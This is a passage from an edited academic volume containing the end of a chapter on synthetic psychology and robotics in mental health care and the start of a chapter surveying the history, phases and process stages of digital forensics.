of human development and comprehension of human behavior can be marked as 
a flagpole in understanding the construction of robotic systems in the repertoire 
of motor, perceptual, and cognitive capabilities. Technologies such as artificial 
intelligence and Neuro Linguistic Programming (NLP) are helping in behavioral 
mapping. The various functions of talent on-boarding, talent development and 
the off-boarding process can help in effective management which can be utilized 
in people through synthetic psychology. This helps in rationally understanding 
human behavior through robotics. Further this gives an overview of human-robot 
interaction (HRI) and how they are helpful in mental health care, social skill devel-
opment and improving the psychosocial outcome through robotics. Synthetic psy-
chology’s impact on neuroscience and its medical diagnostics are also discussed in 
the chapter. Implications, suggestions, and limitations along with the ethical issues 
are discussed for exploring the potential of this emerging technology. 

Keywords: Synthetic psychology, robotics, mental health care, 
psychosocial outcome, skill development, human behavior

5.1 Introduction

Robotics can be defined as a science in which intelligent connections 
between actions and perception are studied. The human-centered 
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robotics with its emerging area concentrates on Human-Robot 
Interaction (HRI) and synthetic psychology helps us in understanding 
robotics behavior through psychology. Human-robot interaction (HRI) 
describes it as shaping and understanding the interactions between one 
and more humans and robots [1]. The Human-Robot Interaction (HRI) 
can be understood in the following attributes such as (i) the informa-
tion exchange between the robot and the human, (ii) robot’s autonomy 
concerning behavior level, (iii) type and the nature of information that 
is exchanged between robot and human, (iv) human-robot team struc-
ture, (v) how the interaction between the robot and human are shaped, 
(vi) adaption and learning from robot and human. These are the factors 
that play a prominent role in how the professionals in the field of men-
tal health care, social skill development and improving the psychosocial 
outcome consider using robotics technology in their practice. Adding to 
this, some other factors may hold importance for the practitioners. The 
form or the morphology of the robot that depicts its appearance which 
can be anthropomorphic or looks mechanical in appearance [2]. In the 
research community, morphology holds importance as in many studies 
and is a debatable topic. But some researchers fear that this can con-
vey inaccurate expectations and things about robots’ capabilities which 
are unethical if handling a vulnerable population [3, 4]. Individuals with 
further unique needs can use robotics in mental health care and social 
skill development. This can be explained by taking an example of people 
with cognitive impairments who are more susceptible to manipulations 
by robots. The Human-Robot Interaction (HRI) can also be impacted by 
individual differences as people with a wide range of physical and cogni-
tive attributes can perceive robots differently and their interactions with 
robots will vary accordingly [3]. 

5.2 Physical Capabilities of Robots

The extensive range of physical capabilities in current robots and the robot-
ics industry will grow with time. As physical capability is involved various 
morphologies exist in the form of limb-like motion such as climbing, turn-
ing, running, walking, shaking; facial moments like gaze, nodding, facial 
expression and some other biological functions like flying, flipping and 
undulating. However, for this technology to function properly, the pres-
ence of humans is still very much needed. The present-day robots that are 
used in mental health care are either preprogrammed or controlled by the 
operator and that can be stated as its limitation [4].
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5.2.1 Artificial Intelligence and Neuro Linguistic 
Programming (NLP)

Artificial intelligence helping in the therapies is marked as a prominent 
capacity of the robot. Nowadays, robots are coming with adjustable auton-
omy in which there is an up gradation in the human-robot interaction 
(HRI) by adjusting the autonomy and changing the way humans and 
robots interact [5]. This would be helpful for mental health care profes-
sionals as they want to control several behaviors directly and autonomous. 
Certain clients suffering from certain mental health disorders ranging 
from cognitive impairments to autism spectrum disorder can be helped; 
a professional dealing with an individual having panic attacks can adjust 
the robot based on the client’s progress and the way the rewards are given 
to the client [6]. 

5.2.2 Social Skill Development and Activity Engagement 

Clients having cognitive and physical disabilities are studied with the help 
of robot-based intervention which helps them in increasing their physical 
activity engagement. Mobile robots were used in a study to increase the 
client’s engagement in the physical world which also helped them in evolv-
ing their social image. The use of this technology in patients with upper 
limb therapy also marked a milestone. Robotics technology has not shown 
a significant difference in conventional therapy studied by RCT [7]. When 
intervened in the field of post-stroke rehabilitation, a new robotics tech-
nology named socially assistive robots (SAR) is introduced which provides 
cognitive and social assistance to clients without any physical interaction 
[8]. In a study, clients are taken who are not accepted socially due to their 
physical appearance. A designed robotic weight loss coach, Autom has 
been used in a controlled study of 45 participants for effective long-term 
weight loss encouraging exercise and diet adherence, compared to a paper-
based or computer-based system [9].

5.2.3 Autism Spectrum Disorders

Robotics technology is used in the field of mental health care for the 
treatment and diagnosis of autism spectrum disorders. This technology 
helps people with autism spectrum disorder as these clients are responsive to 
treatment possibly more than with the human therapist [10, 11]. Using this 
robotic technology clinically for the treatment is more technology-focused 
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and treatment should be considered as an experimental approach suggest-
ing clinical inventions in ASD clinical practice [12].

5.2.4 Age-Related Cognitive Decline and Dementia

A detailed review of the use of robot technology in dementia clients in 
approximately 21 studies is reported from 2004 to 2011 [13]. Clients with 
cognitive impairment use a therapeutic invention, PARO, which involves 
hugging, stroking and talking to a PARO therapeutic robot, thinking it of 
an actual baby or animal [14, 15]. These studies involved long-term and 
short-term studies with quantitative and qualitative data. For the cogni-
tive decline in older adults, RCT was used to study the effectiveness of 
robotic technology. In a study, 34 healthy Japanese women between 66 and 
84 years old were studied for 8 weeks. Clients interacted with a robot that 
has a cartoon-like platform and can talk, as compared to the control group 
whose robot does not talk. In the end, it is reported that the cortisol level 
of the first group is lower and they have better, improved verbal and judg-
mental memory with improved sleep.

5.2.5 Improving Psychosocial Outcomes through Robotics

Robotics played an important role in the effective treatment of loneliness 
and lowering blood pressure [16]. The author studied 40 participants 
from New Zealand for 12 weeks. In this study, one group interacted with 
a PARO therapeutic robot and the other groups had standard activities. 
A significant difference and a decrease in loneliness was seen in partici-
pants who interacted with the PARO therapeutic robot as compared to the 
other group [16]. The clients who have robotics pet robots have reported 
less loneliness in RCTs [17]. A difference in the blood pressure of the cli-
ents can be seen during and after they interacted with robots. A significant 
decrease in diastolic and systolic blood pressure is seen when clients inter-
acted with a PARO therapeutic robot and an increase in diastolic blood 
pressure is seen when withdrawn from the PARO therapeutic robot.

5.2.6 Clients with Disabilities and Robotics 

Clinicians are trained in using robots to interact with clients and have 
face-to-face interactions. This holds a strong position as in normal practice 
the clinician is biased with clients having invisible and visible disabilities, 
which is an influence in mental health care. Medical simulation technol-
ogy is introduced with life-sized human-patient simulators in the form of 
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humanoid robots for mental healthcare training. Facial expressions and 
psychiatric care settings are also conducted through RCT in nurses [18].

5.2.7 Ethical Concerns and Robotics

A proposed code is discussed for robot designers, researchers, engineers, 
product managers, marketers and professionals in health care who want 
to explore robotics in their practice using robots on a specific population 
[19]. Some of the principles in ethical concerns are consideration of human 
dignity which includes

• The emotional desires of the clients are always considered
• The privacy of humans must be given a huge concern
• Transparency of humans is considered in robotic system 

programming
• Relevant rights (HIPPA, FTC, and FDA) must be considered
• Human-Robot Interaction (HRI) must have human 

informed consent
• Racist and ablest morphology and sexist behavior should be 

avoided in the robot design
• The attachments humans are forming towards the robots 

should be considered carefully 

5.3 Traditional Psychology, Neuroscience and Future 
Robotics

Synthetic psychology is the understanding that we are understanding 
ourselves by building a physical model of ourselves in the form of robots. 
Synthetic means synthesis to build which contrasts with analytically, which 
is understanding something by breaking it out. Most of the approaches in 
life science are analytical as you first break down the complex and later work 
on it. This can be done with human beings but we are extremely complex 
and it’s a challenge, and psychology and neuroscience are struggling to 
understand how it works, so synthetic psychology is the complementary 
approach. In this approach we are taking theories, building up an approach 
in a working example to see if we can recreate a source which helps in 
understanding human behavior more aptly. The boon of working like this is 
that we can get insights by working with the help of the robot which might 
not be understood by biological systems. Physical machine-like robots can 
eventually find better ways as compared to human or through animals as 
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we can experiment with the robots as the same way we might to do with 
ourselves. To generate lifelike behavior resembling an animal or human, the 
model can be put inside the robot by which you can test that you can get 
behavior that looks like human or animal. For example, rat-like behavior 
can be studied through the robot rat which behaves and explores the world 
as a rat does. Through this we can understand the psychology and analyze 
which part of psychology can be studied and which is being missed. Robots 
can be designed in a way that they can learn social intelligence by abstractly 
making the human brain like model. The memory and graphical memory 
types robots can be made in laboratories, which helps in better understand-
ing of computer algorithm. Psychology can be understood through robotics 
as synthetic psychology helps in better understanding of emotions through 
robots. A new type of social agent is introduced into our environments hav-
ing a relationship with a human being. It may not influence the person to 
the extent that their mobile phone does, but it does influence him or her 
potentially somewhere, in the sense of of being alive but not being alive. 
As researches on this take place more dynamically, the understanding of 
what is prepared and what results will occur in future with advanced tech-
nology is developed. Robotics in future will be very helpful in educational 
settings, scaffolding their reading, writing, arithmetic, perhaps even more 
advanced subjects, helping teachers and giving proper attention to children. 
Robots can help in understanding emotions through facial expressions like 
frowning, smiling, seeing and laughing as it is useful as a way of encourag-
ing learning at times where the robot is a teaching assistant. Researches are 
going on to see how robots encourage children to learn about exercise and 
healthy living. It is not necessary that robots should be humanoid as the 
robots which look like animals and interact with children encourage chil-
dren to learn about animals. All this helps in understanding the behavior 
as robots begin to interact in a natural way through language. These spaces 
are inaccessible spaces as miniature mobile robots, as they sneak and intro-
spect the environment friendly models which helps in better understanding 
of behavior. These models are apt to the study as it is easy to repair them. 
With the coming decades and advanced researches, robots are becoming 
smaller as they can enter the human body [28]. Just for an example, say 
about blood vessels, there are 100,000 kilometers of vascular network, and 
most of the vessels from vascular network are currently not accessible to 
the technology. With advancement in robotics technology, small and sim-
ple robots are potentially capable of diagnosing and treating with imagin-
ing the movement and doing some visual things, for example rotating. To 
do the mental tasks, signal processing and data processing are used, with 
analysis to interpret this activity into some particular control command 
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accompanied by some certain types of brain activity, which we can pick up 
with particular equipment, with electroencephalography, and then use. The 
robotics can help the clients like controlling the wheelchairs in the future. 
It’s literally limitless, the applications, we’re only dipping our toe and playing 
about compared to what actually could eventually be applied in real life. 
In factories, the robots have been around for years, and now we are seeing 
them being integrated into the wider society such as in schools, homes and 
hospitals. With this, the question arises, what will future robots be like? And 
when will robots get here? What does the future hold for synthetic robotics?

5.4 Synthetic Psychology and Robotics: A Vision 
of the Future

Products that we see and use in day-to-day life are built through incorpo-
rating robots by an automated system. Robots surround us in the form of 
cars and automated manufacturing systems products. Current-generation 
robots are found in factories. Robots in the form of manipulator and 
robot arm help in picking and placing objects and tools used in welding. 
Research is going on in making successful robots that are manipulators, 
impacting society and global industry. A vision of robotics engineering is 
that robots will transform society, becoming an important part of future 
cities, industries and homes. Today the impact of robots is in industries, 
safer transport, caring for the ageing population with efficient healthcare, 
secure energy, space and sea exploration. The future impact of synthetic 
psychology is that robots will be used in various industries like aerospace, 
and as marine robots, bionic devices, nuclear decommissioning robots, 
intelligent vehicles, space exploration, surgical robots and smart cities. 
Synthetic psychology can help in the field of aerospace industries by help-
ing in detecting and avoiding, for using unmanned air systems in priority, 
making it safer for flights as they help in translating the manned systems 
[27]. Marine robots are used as potential agents for surveying and inspect-
ing subsea infrastructure, aircraft box recovery and deep-sea exploration. 
With synthetic psychology advancement of technology in bionic devices 
helps the ageing population by development of bionic technologies in the 
form of brain-computer interfaces and exoskeletons which ensure longer 
independent lives. Advanced technologies in the field of robotics help in 
decommissioning and reducing radiations in nuclear power projects as 
nuclear decommissioning robots. Robotics in the form of intelligent vehi-
cles help in increasing the autonomy in cars, making road travel easier by 
reducing congestion, making journeys shorter and more efficient. Using 
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robotics technology on farms helps in using energy efficiently, reducing 
the use of pesticides and fertilisers, effectively using lands and reducing the 
impact and enhancing cropping systems. Robotics will help in future space 
exploration as robots are the source of future exploration of deep space. On 
a wishlist are robots that will help in assisting astronauts by constructing 
platforms. Surgical robots are advancements in medical fields as these tools 
will help in amplifying the surgeon’s skill, operate with micro-scale forces 
on tissues which are delicate in nature, removing tremors, working well 
beyond the human precision capabilities [20]. Robots help in the making of 
smart cities as these systems are underpinning and ubiquitous technology 
which help in fueling the global industrial strategy and transforming lives. 
Robots in future smart cities will take the lead in the smooth running of 
the cities, providing transport, maintaining services, logistics and utilities.

5.5 Synthetic Psychology: The Foresight

Before acting, robots need to plan and make decisions, this being a key part 
of cognition. The robots plan actions that help them in achieving goals in 
the environment with safety. Robots are programmed to make decisions. 
Understanding the dynamics of the environment, foresight is needed to 
predict the consequences of actions and other events in nature [26]. The 
situations lead to understanding and the ability to make sure dynamics 
are understood before making a responsible decision. To understand bet-
ter, for example, while driving when we notice a road blockage and start 
slowing down the car to stop it gently. This explains the foresight which 
helps in making responsible decision in a complex environment. Foresight 
for robots is not as simple as we think. It can be built throughout the week 
interpreting the environment. Robots needed a sufficient detail and com-
plete knowledge about environment with updated positions of other vehi-
cles. The robot actions have the following consequences that may vary and 
result in a change in the environment and in robot’s location. The social 
and legal consequences include causing nuisance to neighbors and flying 
a drone in the specified areas. There are computational approaches which 
predict the consequences of the actions such as

• Using logic which interferes with the social and legal conse-
quences which helps in breaking the rules of the behavior.

• Physically simulating the robot’s actions which helps in pre-
dicting the future physical state of the world.
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5.6 Synthetic Psychology and Mathematical 
Optimization 

If the actions are properly planned, the robots can use mathematical optimi-
zation methods which decide how to act in an existing situation. This tech-
nique is best for achieving best results under given circumstances known 
as constraints. This helps in computing the consequences which optimize 
the actions that deliver the best outcomes. Mathematical optimization also 
contributes in building game theory where robots are considered as a player 
and receive actions and rewards for the whole robotic team. Long periods 
of planning are heavy computationally and robots help in simplified plan-
ning with well-defined actions to achieve goals. The planning complexity 
is reduced by primitive actions by separating complicated long tasks into 
smaller discrete sections. These are the blocks which are chained together 
forming a complex behavior. For better understanding when navigating a 
building the instructions given were “move straight to the corridor, the take 
a turn left and enter the first door by your right, then there is the kitchen”. 
The primitive actions were to go straight, turn left and go through door. 
This can be understood in simpler terms that sequencing together and then 
breaking down the problem into the number of walking steps. The prim-
itive actions sufficiently provide details and define the accomplished task 
which are not overly detailed. These commands like “In the kitchen”, “the 
first door on the right” and “recognizing the corridor” are the associated 
abstractions of perceptions which are taught to the robots [21].

The most appropriate actions of the robots are understood by symbolic 
planning by using the updated model of the environment. It includes the 
rules of behavior taking into account the functional, societal and safe con-
sequences and actions taken by the robots. Robots searching a building 
need to work on the damage their search may cause, and safety in case of a 
burning building and the disturbances caused by the related human activ-
ity. This is possible with the help of symbolic computations about intent by 
others epistemic logic, temporal logic the timing of events and knowledge.

5.7 Synthetic Psychology and Medical Diagnosis

Machine learning is being trained through complicated neural networks 
by targeted realtime early warning system and IBM Watson Cloud [22]. 
These systems are so sophisticated that they analyses the data like eating 
habits, BMI, age, exercise habits, heart rate, sleep pattern and psychological 
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behavior through sensors, for example in the form of health band, smart-
watch, mobile phone activity and browsing history. The data obtained 
through these are uploaded in the cloud where data is categorized and 
analyzed by cognitive networks.

5.7.1 Virtual Assistance and Robotics

Fluoroscopic imaging is mainly used in Heart Catheterization. This leads 
to the exposure of the staff, operator and patients to harmful radiation. To 
overcome this a self-directed robot is specialized in supervising the cath-
eterization without harmful radiations [23]. This robot helps in building 
the 3D anatomical model which is patient specific with the help of elec-
tronic record system including Ultrasound, CT and MRI. During ECG/ 
respiratory gating the temporal syncing is performed and catheter loca-
tion is tracked through electromagnetic tracking system keeping in mind 
the patient anatomy. When initial results of this project were studied the 
results came out that catheterization was successfully completed. The time 
of fluoroscopy is lower with a difference of 3.9 seconds. The project is under 
improvement, adding the catheter feedback positioning. 

5.7.2 Drug Discovery and Robotics

The treatment of Alzheimer’s disease was studied by selecting the patients 
[24]. Several inhibitors of beta-secretase are used to study and analyze 
the treatment of this disease. Machine learning algorithms are used to 
develop the physical, structural and chemical properties of the inhibitors. 
Machine learning has three different functions, logit boost, decision-table 
and multilayer perceptron which are applied to molecular descriptors in 
fivefold cross-validation of active and inactive compound. High accuracy 
is achieved by this technique currently being employed in the selection of 
possible patients from these compounds.

Machine learning helps in analyzing the data from the past and then 
learning the pattern. This helps in analyzing the cases of past patients and 
learning about the markers of sepsis. After creating the filters which could 
be altered during organ dysfunction and shock, when the patients visit the 
hospital, the pre-diagnosis is provided which will assist doctors in provid-
ing the right treatment. This will create a valid clinical pathway and fur-
ther decrease the cost and time often used in the traditional methods. In a 
study, the data of 1,786 patients were analyzed who had undergone surgery 
between 2015 and 2016. The data sets were programmed and algorithm was 
used for the data set [25]. In another study, the nine distinct groups were 
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studied on the basis of Ketorolac dosage mainly used to treat postoperative 
pain. The link between lower fluids and lower time span with decreased 
cost was studied, which broadened the pathway of clinical treatment.

5.8 Conclusion

It is more than a decade since new companies entered the personal robotics 
industry and they are now creating new products for commercial use. The 
current scenario in research and development suggest that robots can eas-
ily assist with daily chores and tasks. It can be marked as a technology that 
helps in increasing independent living and giving a better quality of life. 
Major help can be given in the field of mental health care by robots and they 
can be of assistance to the clients. Robots can give help in daily tasks, and 
these things can prove to be very beneficial [4]. Robots can be used in train-
ing the clinical student as a researcher for virtual patients. Robots can also 
replace the human experts in the field of teaching listening skills, interaction 
and helps in enabling destigmatization [16]. Robots can also help the ther-
apist in providing therapy to clients with mental health disorders. Artificial 
intelligence helping in the therapies is marked as a prominent capacity of 
the robot. With this, we can conclude that it is an era of robotic technology. 
With the increasing capacities of the processors and new advancements in 
artificial intelligence and neuro linguistic programming (NLP), machine 
learning is becoming more remarkable. With this new technology having a 
faster and cheaper advancement in multimodal processing, there is a world 
that exists for robots that would be more capable and agile in social environ-
ments. Artificial intelligence comes in to handle the domain and study the 
diverse factors ruling the industry and promoting the synthetic psychology. 
This helps in automatic diagnosis by algorithms in the treatment by avoid-
ing the inflation. It is believed by professionals that there are advantages 
over traditional practices as it analyzes large datasets simultaneously. This 
helps in enhancing the speed with auto-generated clinical pathways and 
provides unsupervised discovery. This boosts the disclosing of the hidden 
facts and patterns. Synthetic psychology is the tool assisting professionals 
in medical inflation and early diagnosis.
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Abstract
The world is increasingly interconnected with the internet, which acts as a ner-
vous system for every organisation. We can easily find interconnected devices in 
every home in the form of Smart devices, computer networks, and so on. The data 
generated by mobile devices increases rapidly because of the increase in the huge 
number of mobile devices, which takes more time in analysing the digital evidence. 
The objective of this chapter is to contribute to the history of digital forensics, the 
Evolutionary cycle, various investigation phases of digital forensics and give a detailed 
explanation about the types involved in digital forensics. This chapter demonstrates 
a brief study about how digital evidence plays an important role in investigation. In 
addition to this, we also explained the forensics tools as commercial bases as well as 
open-source software. During the investigation phase, determining the appropriate 
forensics tools depends upon the digital devices and Operating System. In some 
cases, multiple tools can be used to extract the full digital data. 

Keywords: Digital forensics; digital investigation, forensics tools, 
digital evidences, security 

6.1 Overview

There are privacy concern about digital data because it can be accessed 
in different ways. Since it has a lack of security, the sensitive information 
of the user may be stolen. Insiders may also target the computer device 
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to destroy personal information and to commit embezzlement. There is a 
lack of clarity and evidence about the origins of cyber-crime. As on record, 
the earliest computer sabotage occurred in the 19th century [1]. Digital 
evidence and information gathering is the ultimate reason for the ever- 
increasing cyber-crimes and conflicts. 

In this current scenario, it is tough to find a culprit that does not have 
digital fingerprints. Many criminal activities occur by using advanced 
technology to facilitate illegal activities, which create new challenges for 
law enforcement, forensics investigators, juries and IT security profession-
als. Organized groups commit crimes like money laundering, drug traf-
ficking, terrorist attacks, smuggling, etc., using an advanced technique to 
organize the crime, communicate and maintain records. Criminals who 
use computers, mobile devices and laptops to plan or commit their crimes 
leave behind an abundance of digital data which can be used for legal pro-
ceedings. The digital data from a crime scene plays a major role in every 
investigation and it should be collected routinely for all cases. During the 
investigation, the examiner should consider all relevant digital informa-
tion stored on digital devices left at a crime scene by a suspect or victim. 
Digital evidence can reveal or give hints regarding Where, When, Why, 
Who and How the crime was committed. Digital evidence is termed as any 
digital data that has been stored or transferred using a computer during the 
occurrence of a crime. Here, digital data is referred to as a combination of 
digital fingerprints like audio, video, messages, network traces and so on. 

Every electronic device can have an enormous number of evidence to 
support forensics investigators during the criminal investigation process. 
All devices have an unlimited source of information about potential sus-
pects and victims. Most criminals leave sufficient traces of a crime. Mainly 
digital evidence exists in three digital systems, such as computer system, 
communication medium and embedded systems where information/data 
are transmitted through wires. The computer system is comprised of lap-
tops, desktops, servers and tablets in which the storage space is increas-
ing day by day. It is possible to obtain potential evidence from computer 
devices; every piece of information possesses particular evidence about 
when the file was created, edited, or deleted, and by whom [2]. In com-
munication medium, the source of evidence can be found from telephone, 
wireless mobile phones, and the internet. For instance, the examiners can 
analyse the call logs from servers to identify the criminals. Sometimes, dig-
ital investigators are able to get access to the full conversation resources 
from messages, call records, mail attachments and so on. Finally, the 
embedded systems also have equal importance for digital investigation. 
IoT is an embedded system where sensors, software, controllers, actuators 
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and networks are interconnected to allow users to program remotely via 
internet [3]. The Smart home, smart car, smart city, smartwatches, smart 
vehicle, etc., provide many benefits to people, industry and government. 
However, in terms of security concerns, it is at risk of various attacks and 
threats like malware attacks, data theft, remote recording Dos and DDoS, 
etc. 

6.2 Digital Forensics 

Most of the digital pieces of evidence may be found in personal computers, 
laptops, tablets, mobile devices, network infrastructure and also in other 
digital devices. The main application of forensic principles is to ensure 
that investigations are taking place in a forensically sound manner. Over 
the last few years, cybercrime has evolved and will continue to do so in 
upcoming years. With more advanced techniques, criminals tend to con-
duct sophisticated attacks on sensitive data that exploit a massive amount 
of networks, which results in data breaches and disclosure of data. These 
data breaches give special importance to the forensics investigation pro-
cess. The Forensics process requires the appropriate software to conduct 
incident responses for acquiring the digital evidence. The forensics princi-
ples can be applied to other digital gadgets like computers, mobile devices, 
IoT devices and so on. Some tools that can be used for acquisition are sup-
ported by computational processess and should comply with the legitimate 
requirements. 

6.2.1 Why Do We Need Forensics Process?

The Forensics process is a structured examination of digital evidence from 
digital devices capable of retrieving the data in digital form. The traditional 
forensics processes are challenged to collect the evidence and manage the 
type of evidence that helps to support the crime incident in the law. This 
digital evidence should be managed properly and prevented from being 
altered or modified. The forensics process has the same rules which can 
be used for investigating any kind of crime or incident that happened in 
any digital devices like computer forensics, mobile forensics, IoT devices 
and also future digital technologies. Accused murderers, burglars, online 
thieves, and many more criminals may have used their electronic devices 
at the crime scene. So analyzing the electronic devices during an investiga-
tion can provide key evidence about the incident. Such pieces of evidence 
can provide answers to five ‘WH” Questions, like Who did the crime, 
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When did the crime happen, How the crime was committed, Where did 
the crime happen, and Why was the crime committed. 

Digital Evidences may be found in various digital gadgets especially 
in messaging sessions, social networks, network traces and so on. Digital 
investigation is not only very helpful for investigating police cases but also 
useful for corporate and private investigations. In the case of corporate 
companies, there may be a misuse of the company’s secrets; many other 
types of problems may be discovered by employees, clients, or insiders, and 
also cyber stalking inside companies may be happening. All these cases can 
also be investigated through the incident response team and digital foren-
sics team, where these processes are adopted by all institutions. 

6.2.2 Forensics Process Principles

The main principle of the forensics process is to conduct forensically sound 
methods with established standards, rules and regulations. The examina-
tion process should have the ability to find powerful evidence with the 
resources acquired from a crime scene, and also the examiners should able 
to produce the relevant documents of the investigation process to illegal 
proceedings to prove guilt. 

6.3 Digital Forensics History 

In order to know about how the crimes, tools, and organizations devel-
oped, it is necessary to review the evolution of digital forensics trends. 
From the early 1960s till 1980, computers were mainly operated for indus-
tries, academics, universities, research and development centers and also 
by government agencies. A massive infrastructure, power, and skilled staff 
members were required to operate the computers. Later on, from 1985, 
digital forensics began to evolve. This period is sub-divided into three peri-
ods: i) 1985 – 1995, ii) 1995 – 2005, and iii) 2005 – 2015.

6.3.1 1985 to 1995

In the early 1980s the IBM PCs were in huge use among computer hobby-
ists, since the PCs were more powerful and user friendly, which enabled 
the hobbyist to write the programming code and operate the internal oper-
ating system as well as hardware. Among these hobbyists, some were law 
enforcement people from various organizations who were dedicated to 
digital forensics – the International Association of Computer Investigative 
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Specialists (IACIS) [4]. The first international conference on computer evi-
dence was hosted in 1993 by the FBI at FBI Academy in Virginia attended 
by representatives from 26 countries around the world. The second confer-
ence was held in 1995 in Baltimore and the International Organization on 
Computer Evidences (IOCE) was founded.

In earlier days, the case investigations were basic when compared to 
today’s standards and were much focused on data recovery, deleted data and 
reformatted devices. Since the internet was not yet popular, criminals used 
dial-up access, telephone hacking, to compromise the devices. During this 
period, only a few tools were provided for analysis to investigate the case, 
or else the team should build the tool on their own to perform the analy-
sis. During the period beginning in 1990, hobbyists and software vendors 
started to develop forensics tools. This software was able to solve specific 
problems like OS imaging, file recovery and restoration of the data. These 
tools proved to be useful utilities for computer forensics investigation. 

In 1983 Canada was the first to address computer crimes by amend-
ing the criminal code. By following this, many other countries also imple-
mented legislation. Cybercrime acts includes U.S. Federal Computer Fraud 
and Abuse Act, Australian Crime Act and British Computer Abuse Act 
were introduced in 1984, 1989 and 1990, respectively [4]. Some of the 
agencies, like the Internal Revenue Service, created the program called 
Seized Computer Evidence Recovery Specialist program; also there was 
the Electronic Crime Special Agent program under the U.S. Secret Service, 
the Computer Analysis Response Team under the FBI and Computer 
Crime Investigator under the U.S. Air Force Office of Special Investigation. 
The selection mode and training for every agency is different based on the 
nature of its nation’s culture. In addition to this, the Forensics Association 
of Computer Technologies was created in the U.S. Geeks and Guns is an ad 
hoc organization that was started by Maryland state police and Baltimore 
county police. Forensic Computing Group under the Association of Chief 
Police Officers was formed by United Kingdom enforcement agencies. 

6.3.2 1995 to 2005

The next decade produced more advancement in technological growth 
and also in the digital forensics domain. Three main significant aspects 
of growth emerged during this phase. The first technology explosion that 
happened was that computers became essential and were used by almost 
everyone. Mobile phones and the internet became like the backbone in 
everybody’s life. At the beginning of this period, the landline was used for 
voice calls, and network connections via dial-up were used by people, most 
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of whom had not heard about the network, internet and so on. Finally, 
during the end of this period, everyone had separate mobile phones, email 
addresses, internet, and business etc. These computer technology improve-
ments became virtually inter-connected to everyone’s life.

The next explosion came in 1993 as a result of a child pornography case 
in where personal computers are used to explore the illegitimate images of 
children (minors). In 1995, this case led to the establishment of an opera-
tion called Innocent Images. Ten years later, a separate task force operated 
on child pornography cases which resulted in the seizure of digital evi-
dence in a huge volume medium and this led to the growth of digital foren-
sics [5]. The next explosion came after the terrorist attacks on September 
11, 2001, the “Twin Tower” attacks where computers played a role in the 
hijacking and pieces of evidence were found. The terrorists were also using 
computers ubiquitously in the same way as everyone else. Law enforce-
ment realized that digital forensics had the capability of identifying the 
guilty. So, the discipline of digital forensics was developed by state agencies 
and IT organizations. 

The combined work of the International Organization on Computer 
Evidence (ICOE), G-8 High tech Crime Committee and Scientific Working 
Groups on Digital Evidence (SWDGE) published the first digital forensics 
principles in 1999 and 2000. Likewise, similar principles were also given 
by the American Society of Crime Laboratory Directors – Laboratory 
Accreditation Board (ASCLD-LAB) with SWDGE. The first accredited 
laboratory was given to the FBI’s North Texas Regional Computer Forensic 
Laboratory in 2004. During this time, the command-line tools and the first 
developed tool called Expert Witness was implemented which evolved as 
Encase, later Encase along with Forensics Tool Kit (FTK) which is com-
mercial, and also some open-source tools were developed such as Autopsy, 
Helix and Sleuth Kit. Defense Computer Forensic Laboratory (DCFL) 
provided services to law enforcement, military agencies and intelligence 
committee, and also Regional Computer Forensic Laboratory (RCFL) was 
started to help federal, state and law enforcement. 

6.3.3 2005 to 2015

Since 2005, the digital forensics domain has improved and grown deeper 
and deeper with advanced technologies. Electronic discovery, termed 
e-discovery, was made mandatory in 2006 as new rules for civil procedure. 
In 2007, nearly 2.5petabytes of evidence was analysed by the Computer 
Analysis and Response Team (CART). Likewise, digital data is improving 
day by day. During this period, many academic programs were also started. 

PROOF



Digital Forensics: History, Frameworks, Types and Tools 111

Forensic Education Program Accreditation Commission (FEPAC) took 
an initial step for an academic program in digital forensics. Later, a stan-
dard draft for forensics training was done by a committee of the American 
Society of Testing Materials (ASTM). 

The devices that are examined are also improved, which means every 
device is virtually connected to the internet and has an in-built storage 
medium. Many electronic devices that are used in our daily lives are con-
nected either as Wired or wireless internet. Thus, the digital evidence is 
also stored in web-based services like cloud computing, IoT and so on. 
Sometimes, services like Facebook, Twitter and other social networks also 
provide essential evidence. 

6.4 Evolutionary Cycle of Digital Forensics

The development of digital forensics has three phases of evolution: Ad hoc, 
Structured and Enterprise phases. 

6.4.1 Ad Hoc 

Ad hoc phase is an initial stage development of digital forensics discipline 
which is also referred to as pre-forensics or proto-forensics which has a lack 
of aim, structure, software, process, guidelines and procedure to carry out 
the analysis. This phase can be dated from the 1970s into the mid-1980s. 
It is more evident that both the digital forensics technology advancement 
and legal procedures are improved from the evolution of cyber-crime and 
digital forensics. 

6.4.2 Structured Phase

The structured phase is the next transformation stage of the digital forensics 
discipline, which arose from the mid-1980s to 1990. This phase addressed 
a complex solution that is faced as challenged in the Ad Hoc phase such as 
Rules and regulation of policy-based programs, the establishment of foren-
sics tools. The structured phase is responsible for data collection in a cor-
rect manner under a forensically correct manner that can resist courtroom 
challenges. The collected evidence should be authentic, relevant, reliable 
manner, original evidence should be preserved and data collection should 
be done with a protocol. 
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6.4.3 Enterprise Phase

The Enterprise phase is the last stage in digital forensics evolution where 
the tools and techniques are accepted as legitimate for the use of the court-
room. This phase is characterized by the forensics process and tools used 
for investigation during real-time data collection, structured principles, 
techniques and methodologies. The need of automate forensics process not 
only helps for data collection but also allows for methodology and tech-
niques to be applied for maintaining standards to ensure the legal admissi-
bility of digital evidence. 

The main challenge for digital forensics analysis is the massive growth 
of data in digital devices used during the investigation process. This leads 
to the development of huge storage capacity in all digital devices, and also 
cloud storage services are in active in many numbers of devices. Due to 
this, the consequence is storing a large amount of data which accumulates 
and creates evidence in some cases. Continuous growth in the size of stor-
age media leads to reducing the number of digital devices and becomes the 
issue affecting the legal process [6]. 

6.5 Stages of Digital Forensics Process

6.5.1 Stage 1 - 1995 to 2003

The earliest identification of the forensics process was proposed by author 
Mark [7] in 1995 where the initial proposed work is encompassed in four 
steps. These are Acquisition, Identification, Evaluation and finally Admission 
as Evidence. These methodologies might be helpful for dealing with poten-
tial criminal cases. Digital evidence can be identified by three steps. First, 
it should be placed in a physical medium which is in media; the second 
step is to find in logical medium and finally, the third step is to convert the 
digital evidence into a readable format. The author [8] has proposed seven 
steps for incident response methodology to make it easier and accurate. 
The step includes Pre-incident Preparation, Detection, initial response, for-
mulate response strategy, investigate the incident, reporting and resolution. 
These steps are mainly targeted for UNIX, CISCO Routers and Windows 
NT/2000 and not addressed for mobile phones, PCs and so on.

In 2001, the technical team of crime scene investigation gave four steps 
for forensics procedures to be carried out during every crime scene. This 
includes Collection, Examination, analysis and reporting. All these steps 
are useful for a law enforcement team and other incident response teams 
who are responsible for protecting evidence for legal proceedings. Again in 
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2001, the digital Forensics workshop [9] was held and proposed the defi-
nition and framework of digital forensic. In this, they provided seven pro-
cesses to be used during a forensic investigation. These are Identification, 
